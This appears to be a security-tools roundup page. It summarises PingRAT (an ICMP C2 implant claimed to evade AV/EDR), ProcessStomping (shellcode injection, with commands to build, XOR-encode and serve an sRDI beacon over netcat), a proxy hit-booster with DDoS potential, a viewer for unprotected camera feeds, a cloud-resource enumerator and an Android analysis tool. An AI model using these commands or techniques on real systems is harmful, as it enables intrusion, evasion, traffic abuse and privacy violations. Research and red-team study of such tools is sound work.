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Before yesterdayTools

PingRAT - Secretly Passes C2 Traffic Through Firewalls Using ICMP Payloads

By: Zion3R


PingRAT secretly passes C2 traffic through firewalls using ICMP payloads.

Features:

  • Uses ICMP for Command and Control
  • Undetectable by most AV/EDR solutions
  • Written in Go

Installation:

Download the binaries

or build the binaries and you are ready to go:

$ git clone https://github.com/Nemesis0U/PingRAT.git
$ go build client.go
$ go build server.go

Usage:

Server:

./server -h
Usage of ./server:
-d string
Destination IP address
-i string
Listener (virtual) Network Interface (e.g. eth0)

Client:

./client -h
Usage of ./client:
-d string
Destination IP address
-i string
(Virtual) Network Interface (e.g., eth0)



DroidLysis - Property Extractor For Android Apps

By: Zion3R


DroidLysis is a pre-analysis tool for Android apps: it performs repetitive and boring tasks we'd typically do at the beginning of any reverse engineering. It disassembles the Android sample, organizes output in directories, and searches for suspicious spots in the code to look at. The output helps the reverse engineer speed up the first few steps of analysis.

DroidLysis can be used over Android packages (apk), Dalvik executables (dex), Zip files (zip), Rar files (rar) or directories of files.


Installing DroidLysis

  1. Install required system packages
sudo apt-get install default-jre git python3 python3-pip unzip wget libmagic-dev libxml2-dev libxslt-dev
  1. Install Android disassembly tools

  2. Apktool ,

  3. Baksmali, and optionally
  4. Dex2jar and
  5. Obsolete: Procyon (note that Procyon only works with Java 8, not Java 11).
$ mkdir -p ~/softs
$ cd ~/softs
$ wget https://bitbucket.org/iBotPeaches/apktool/downloads/apktool_2.9.3.jar
$ wget https://bitbucket.org/JesusFreke/smali/downloads/baksmali-2.5.2.jar
$ wget https://github.com/pxb1988/dex2jar/releases/download/v2.4/dex-tools-v2.4.zip
$ unzip dex-tools-v2.4.zip
$ rm -f dex-tools-v2.4.zip
  1. Get DroidLysis from the Git repository (preferred) or from pip

Install from Git in a Python virtual environment (python3 -m venv, or pyenv virtual environments etc).

$ python3 -m venv venv
$ source ./venv/bin/activate
(venv) $ pip3 install git+https://github.com/cryptax/droidlysis

Alternatively, you can install DroidLysis directly from PyPi (pip3 install droidlysis).

  1. Configure conf/general.conf. In particular make sure to change /home/axelle with your appropriate directories.
[tools]
apktool = /home/axelle/softs/apktool_2.9.3.jar
baksmali = /home/axelle/softs/baksmali-2.5.2.jar
dex2jar = /home/axelle/softs/dex-tools-v2.4/d2j-dex2jar.sh
procyon = /home/axelle/softs/procyon-decompiler-0.5.30.jar
keytool = /usr/bin/keytool
...
  1. Run it:
python3 ./droidlysis3.py --help

Configuration

The configuration file is ./conf/general.conf (you can switch to another file with the --config option). This is where you configure the location of various external tools (e.g. Apktool), the name of pattern files (by default ./conf/smali.conf, ./conf/wide.conf, ./conf/arm.conf, ./conf/kit.conf) and the name of the database file (only used if you specify --enable-sql)

Be sure to specify the correct paths for disassembly tools, or DroidLysis won't find them.

Usage

DroidLysis uses Python 3. To launch it and get options:

droidlysis --help

For example, test it on Signal's APK:

droidlysis --input Signal-website-universal-release-6.26.3.apk --output /tmp --config /PATH/TO/DROIDLYSIS/conf/general.conf

DroidLysis outputs:

  • A summary on the console (see image above)
  • The unzipped, pre-processed sample in a subdirectory of your output dir. The subdirectory is named using the sample's filename and sha256 sum. For example, if we analyze the Signal application and set --output /tmp, the analysis will be written to /tmp/Signalwebsiteuniversalrelease4.52.4.apk-f3c7d5e38df23925dd0b2fe1f44bfa12bac935a6bc8fe3a485a4436d4487a290.
  • A database (by default, SQLite droidlysis.db) containing properties it noticed.

Options

Get usage with droidlysis --help

  • The input can be a file or a directory of files to recursively look into. DroidLysis knows how to process Android packages, DEX, ODEX and ARM executables, ZIP, RAR. DroidLysis won't fail on other type of files (unless there is a bug...) but won't be able to understand the content.

  • When processing directories of files, it is typically quite helpful to move processed samples to another location to know what has been processed. This is handled by option --movein. Also, if you are only interested in statistics, you should probably clear the output directory which contains detailed information for each sample: this is option --clearoutput. If you want to store all statistics in a SQL database, use --enable-sql (see here)

  • DEX decompilation is quite long with Procyon, so this option is disabled by default. If you want to decompile to Java, use --enable-procyon.

  • DroidLysis's analysis does not inspect known 3rd party SDK by default, i.e. for instance it won't report any suspicious activity from these. If you want them to be inspected, use option --no-kit-exception. This usually creates many more detected properties for the sample, as SDKs (e.g. advertisment) use lots of flagged APIs (get GPS location, get IMEI, get IMSI, HTTP POST...).

Sample output directory (--output DIR)

This directory contains (when applicable):

  • A readable AndroidManifest.xml
  • Readable resources in res
  • Libraries lib, assets assets
  • Disassembled Smali code: smali (and others)
  • Package meta information: META-INF
  • Package contents when simply unzipped in ./unzipped
  • DEX executable classes.dex (and others), and converted to jar: classes-dex2jar.jar, and unjarred in ./unjarred

The following files are generated by DroidLysis:

  • autoanalysis.md: lists each pattern DroidLysis detected and where.
  • report.md: same as what was printed on the console

If you do not need the sample output directory to be generated, use the option --clearoutput.

Import trackers from Exodus etc (--import-exodus)

$ python3 ./droidlysis3.py --import-exodus --verbose
Processing file: ./droidurl.pyc ...
DEBUG:droidconfig.py:Reading configuration file: './conf/./smali.conf'
DEBUG:droidconfig.py:Reading configuration file: './conf/./wide.conf'
DEBUG:droidconfig.py:Reading configuration file: './conf/./arm.conf'
DEBUG:droidconfig.py:Reading configuration file: '/home/axelle/.cache/droidlysis/./kit.conf'
DEBUG:droidproperties.py:Importing ETIP Exodus trackers from https://etip.exodus-privacy.eu.org/api/trackers/?format=json
DEBUG:connectionpool.py:Starting new HTTPS connection (1): etip.exodus-privacy.eu.org:443
DEBUG:connectionpool.py:https://etip.exodus-privacy.eu.org:443 "GET /api/trackers/?format=json HTTP/1.1" 200 None
DEBUG:droidproperties.py:Appending imported trackers to /home/axelle/.cache/droidlysis/./kit.conf

Trackers from Exodus which are not present in your initial kit.conf are appended to ~/.cache/droidlysis/kit.conf. Diff the 2 files and check what trackers you wish to add.

SQLite database{#sqlite_database}

If you want to process a directory of samples, you'll probably like to store the properties DroidLysis found in a database, to easily parse and query the findings. In that case, use the option --enable-sql. This will automatically dump all results in a database named droidlysis.db, in a table named samples. Each entry in the table is relative to a given sample. Each column is properties DroidLysis tracks.

For example, to retrieve all filename, SHA256 sum and smali properties of the database:

sqlite> select sha256, sanitized_basename, smali_properties from samples;
f3c7d5e38df23925dd0b2fe1f44bfa12bac935a6bc8fe3a485a4436d4487a290|Signalwebsiteuniversalrelease4.52.4.apk|{"send_sms": true, "receive_sms": true, "abort_broadcast": true, "call": false, "email": false, "answer_call": false, "end_call": true, "phone_number": false, "intent_chooser": true, "get_accounts": true, "contacts": false, "get_imei": true, "get_external_storage_stage": false, "get_imsi": false, "get_network_operator": false, "get_active_network_info": false, "get_line_number": true, "get_sim_country_iso": true,
...

Property patterns

What DroidLysis detects can be configured and extended in the files of the ./conf directory.

A pattern consist of:

  • a tag name: example send_sms. This is to name the property. Must be unique across the .conf file.
  • a pattern: this is a regexp to be matched. Ex: ;->sendTextMessage|;->sendMultipartTextMessage|SmsManager;->sendDataMessage. In the smali.conf file, this regexp is match on Smali code. In this particular case, there are 3 different ways to send SMS messages from the code: sendTextMessage, sendMultipartTextMessage and sendDataMessage.
  • a description (optional): explains the importance of the property and what it means.
[send_sms]
pattern=;->sendTextMessage|;->sendMultipartTextMessage|SmsManager;->sendDataMessage
description=Sending SMS messages

Importing Exodus Privacy Trackers

Exodus Privacy maintains a list of various SDKs which are interesting to rule out in our analysis via conf/kit.conf. Add option --import_exodus to the droidlysis command line: this will parse existing trackers Exodus Privacy knows and which aren't yet in your kit.conf. Finally, it will append all new trackers to ~/.cache/droidlysis/kit.conf.

Afterwards, you may want to sort your kit.conf file:

import configparser
import collections
import os

config = configparser.ConfigParser({}, collections.OrderedDict)
config.read(os.path.expanduser('~/.cache/droidlysis/kit.conf'))
# Order all sections alphabetically
config._sections = collections.OrderedDict(sorted(config._sections.items(), key=lambda t: t[0] ))
with open('sorted.conf','w') as f:
config.write(f)

Updates

  • v3.4.6 - Detecting manifest feature that automatically loads APK at install
  • v3.4.5 - Creating a writable user kit.conf file
  • v3.4.4 - Bug fix #14
  • v3.4.3 - Using configuration files
  • v3.4.2 - Adding import of Exodus Privacy Trackers
  • v3.4.1 - Removed dependency to Androguard
  • v3.4.0 - Multidex support
  • v3.3.1 - Improving detection of Base64 strings
  • v3.3.0 - Dumping data to JSON
  • v3.2.1 - IP address detection
  • v3.2.0 - Dex2jar is optional
  • v3.1.0 - Detection of Base64 strings


Cloud_Enum - Multi-cloud OSINT Tool. Enumerate Public Resources In AWS, Azure, And Google Cloud

By: Zion3R


Multi-cloud OSINT tool. Enumerate public resources in AWS, Azure, and Google Cloud.

Currently enumerates the following:

Amazon Web Services: - Open / Protected S3 Buckets - awsapps (WorkMail, WorkDocs, Connect, etc.)

Microsoft Azure: - Storage Accounts - Open Blob Storage Containers - Hosted Databases - Virtual Machines - Web Apps

Google Cloud Platform - Open / Protected GCP Buckets - Open / Protected Firebase Realtime Databases - Google App Engine sites - Cloud Functions (enumerates project/regions with existing functions, then brute forces actual function names) - Open Firebase Apps


See it in action in Codingo's video demo here.


Usage

Setup

Several non-standard libaries are required to support threaded HTTP requests and dns lookups. You'll need to install the requirements as follows:

pip3 install -r ./requirements.txt

Running

The only required argument is at least one keyword. You can use the built-in fuzzing strings, but you will get better results if you supply your own with -m and/or -b.

You can provide multiple keywords by specifying the -k argument multiple times.

Keywords are mutated automatically using strings from enum_tools/fuzz.txt or a file you provide with the -m flag. Services that require a second-level of brute forcing (Azure Containers and GCP Functions) will also use fuzz.txt by default or a file you provide with the -b flag.

Let's say you were researching "somecompany" whose website is "somecompany.io" that makes a product called "blockchaindoohickey". You could run the tool like this:

./cloud_enum.py -k somecompany -k somecompany.io -k blockchaindoohickey

HTTP scraping and DNS lookups use 5 threads each by default. You can try increasing this, but eventually the cloud providers will rate limit you. Here is an example to increase to 10.

./cloud_enum.py -k keyword -t 10

IMPORTANT: Some resources (Azure Containers, GCP Functions) are discovered per-region. To save time scanning, there is a "REGIONS" variable defined in cloudenum/azure_regions.py and cloudenum/gcp_regions.py that is set by default to use only 1 region. You may want to look at these files and edit them to be relevant to your own work.

Complete Usage Details

usage: cloud_enum.py [-h] -k KEYWORD [-m MUTATIONS] [-b BRUTE]

Multi-cloud enumeration utility. All hail OSINT!

optional arguments:
-h, --help show this help message and exit
-k KEYWORD, --keyword KEYWORD
Keyword. Can use argument multiple times.
-kf KEYFILE, --keyfile KEYFILE
Input file with a single keyword per line.
-m MUTATIONS, --mutations MUTATIONS
Mutations. Default: enum_tools/fuzz.txt
-b BRUTE, --brute BRUTE
List to brute-force Azure container names. Default: enum_tools/fuzz.txt
-t THREADS, --threads THREADS
Threads for HTTP brute-force. Default = 5
-ns NAMESERVER, --nameserver NAMESERVER
DNS server to use in brute-force.
-l LOGFILE, --logfile LOGFILE
Will APPEND found items to specified file.
-f FORMAT, --format FORMAT
Format for log file (text,json,csv - defaults to text)
--disable-aws Disable Amazon checks.
--disable-azure Disable Azure checks.
--disable-gcp Disable Google checks.
-qs, --quickscan Disable all mutations and second-level scans

Thanks

So far, I have borrowed from: - Some of the permutations from GCPBucketBrute



PhantomCrawler - Boost Website Hits By Generating Requests From Multiple Proxy IPs

By: Zion3R


PhantomCrawler allows users to simulate website interactions through different proxy IP addresses. It leverages Python, requests, and BeautifulSoup to offer a simple and effective way to test website behaviour under varied proxy configurations.

Features:

  • Utilizes a list of proxy IP addresses from a specified file.
  • Supports both HTTP and HTTPS proxies.
  • Allows users to input the target website URL, proxy file path, and a static port.
  • Makes HTTP requests to the specified website using each proxy.
  • Parses HTML content to extract and visit links on the webpage.

Usage:

  • POC Testing: Simulate website interactions to assess functionality under different proxy setups.
  • Web Traffic Increase: Boost website hits by generating requests from multiple proxy IPs.
  • Proxy Rotation Testing: Evaluate the effectiveness of rotating proxy IPs.
  • Web Scraping Testing: Assess web scraping tasks under different proxy configurations.
  • DDoS Awareness: Caution: The tool has the potential for misuse as a DDoS tool. Ensure responsible and ethical use.

Get New Proxies with port and add in proxies.txt in this format 50.168.163.176:80
  • You can add it from here: https://free-proxy-list.net/ these free proxies are not validated some might not work so first validate these proxies before adding.

How to Use:

  1. Clone the repository:
git clone https://github.com/spyboy-productions/PhantomCrawler.git
  1. Install dependencies:
pip3 install -r requirements.txt
  1. Run the script:
python3 PhantomCrawler.py

Disclaimer: PhantomCrawler is intended for educational and testing purposes only. Users are cautioned against any misuse, including potential DDoS activities. Always ensure compliance with the terms of service of websites being tested and adhere to ethical standards.


Snapshots:

If you find this GitHub repo useful, please consider giving it a star!Β 



Pantheon - Insecure Camera Parser

By: Zion3R


Pantheon is a GUI application that allows users to display information regarding network cameras in various countries as well as an integrated live-feed for non-protected cameras.

Functionalities

Pantheon allows users to execute an API crawler. There was original functionality without the use of any API's (like Insecam), but Google TOS kept getting in the way of the original scraping mechanism.


Installation

  1. git clone https://github.com/josh0xA/Pantheon.git
  2. cd Pantheon
  3. pip3 install -r requirements.txt
    Execution: python3 pantheon.py
  • Note: I will later add a GUI installer to make it fully indepenent of a CLI

Windows

  • You can just follow the steps above or download the official package here.
  • Note, the PE binary of Pantheon was put together using pyinstaller, so Windows Defender might get a bit upset.

Ubuntu

  • First, complete steps 1, 2 and 3 listed above.
  • chmod +x distros/ubuntu_install.sh
  • ./distros/ubuntu_install.sh

Debian and Kali Linux

  • First, complete steps 1, 2 and 3 listed above.
  • chmod +x distros/debian-kali_install.sh
  • ./distros/debian-kali_install.sh

MacOS

  • The regular installation steps above should suffice. If not, open up an issue.

Usage

(Enter) on a selected IP:Port to establish a Pantheon webview of the camera. (Use this at your own risk)

(Left-click) on a selected IP:Port to view the geolocation of the camera.
(Right-click) on a selected IP:Port to view the HTTP data of the camera (Ctrl+Left-click for Mac).

Adjust the map as you please to see the markers.

  • Also note that this app is far from perfect and not every link that shows up is a live-feed, some are login pages (Do NOT attempt to login).

Ethical Notice

The developer of this program, Josh Schiavone, is not resposible for misuse of this data gathering tool. Pantheon simply provides information that can be indexed by any modern search engine. Do not try to establish unauthorized access to live feeds that are password protected - that is illegal. Furthermore, if you do choose to use Pantheon to view a live-feed, do so at your own risk. Pantheon was developed for educational purposes only. For further information, please visit: https://joshschiavone.com/panth_info/panth_ethical_notice.html

Licence

MIT License
Copyright (c) Josh Schiavone



ProcessStomping - A Variation Of ProcessOverwriting To Execute Shellcode On An Executable'S Section

By: Zion3R


A variation of ProcessOverwriting to execute shellcode on an executable's section

What is it

For a more detailed explanation you can read my blog post

Process Stomping, is a variation of hasherezade’s Process Overwriting and it has the advantage of writing a shellcode payload on a targeted section instead of writing a whole PE payload over the hosting process address space.

These are the main steps of the ProcessStomping technique:

  1. CreateProcess - setting the Process Creation Flag to CREATE_SUSPENDED (0x00000004) in order to suspend the processes primary thread.
  2. WriteProcessMemory - used to write each malicious shellcode to the target process section.
  3. SetThreadContext - used to point the entrypoint to a new code section that it has written.
  4. ResumeThread - self-explanatory.

As an example application of the technique, the PoC can be used with sRDI to load a beacon dll over an executable RWX section. The following picture describes the steps involved.


Disclaimer

All information and content is provided for educational purposes only. Follow instructions at your own risk. Neither the author nor his employer are responsible for any direct or consequential damage or loss arising from any person or organization.

Credits

This work has been made possible because of the knowledge and tools shared by Aleksandra Doniec @hasherezade and Nick Landers.

Usage

Select your target process and modify global variables accordingly in ProcessStomping.cpp.

Compile the sRDI project making sure that the offset is enough to jump over your generated sRDI shellcode blob and then update the sRDI tools:

cd \sRDI-master

python .\lib\Python\EncodeBlobs.py .\

Generate a Reflective-Loaderless dll payload of your choice and then generate sRDI shellcode blob:

python .\lib\Python\ConvertToShellcode.py -b -f "changethedefault" .\noRLx86.dll

The shellcode blob can then be xored with a key-word and downloaded using a simple socket

python xor.py noRLx86.bin noRLx86_enc.bin Bangarang

Deliver the xored blob upon connection

nc -vv -l -k -p 8000 -w 30 < noRLx86_enc.bin

The sRDI blob will get erased after execution to remove unneeded artifacts.

Caveats

To successfully execute this technique you should select the right target process and use a dll payload that doesn't come with a User Defined Reflective loader.

Detection opportunities

Process Stomping technique requires starting the target process in a suspended state, changing the thread's entry point, and then resuming the thread to execute the injected shellcode. These are operations that might be considered suspicious if performed in quick succession and could lead to increased scrutiny by some security solutions.



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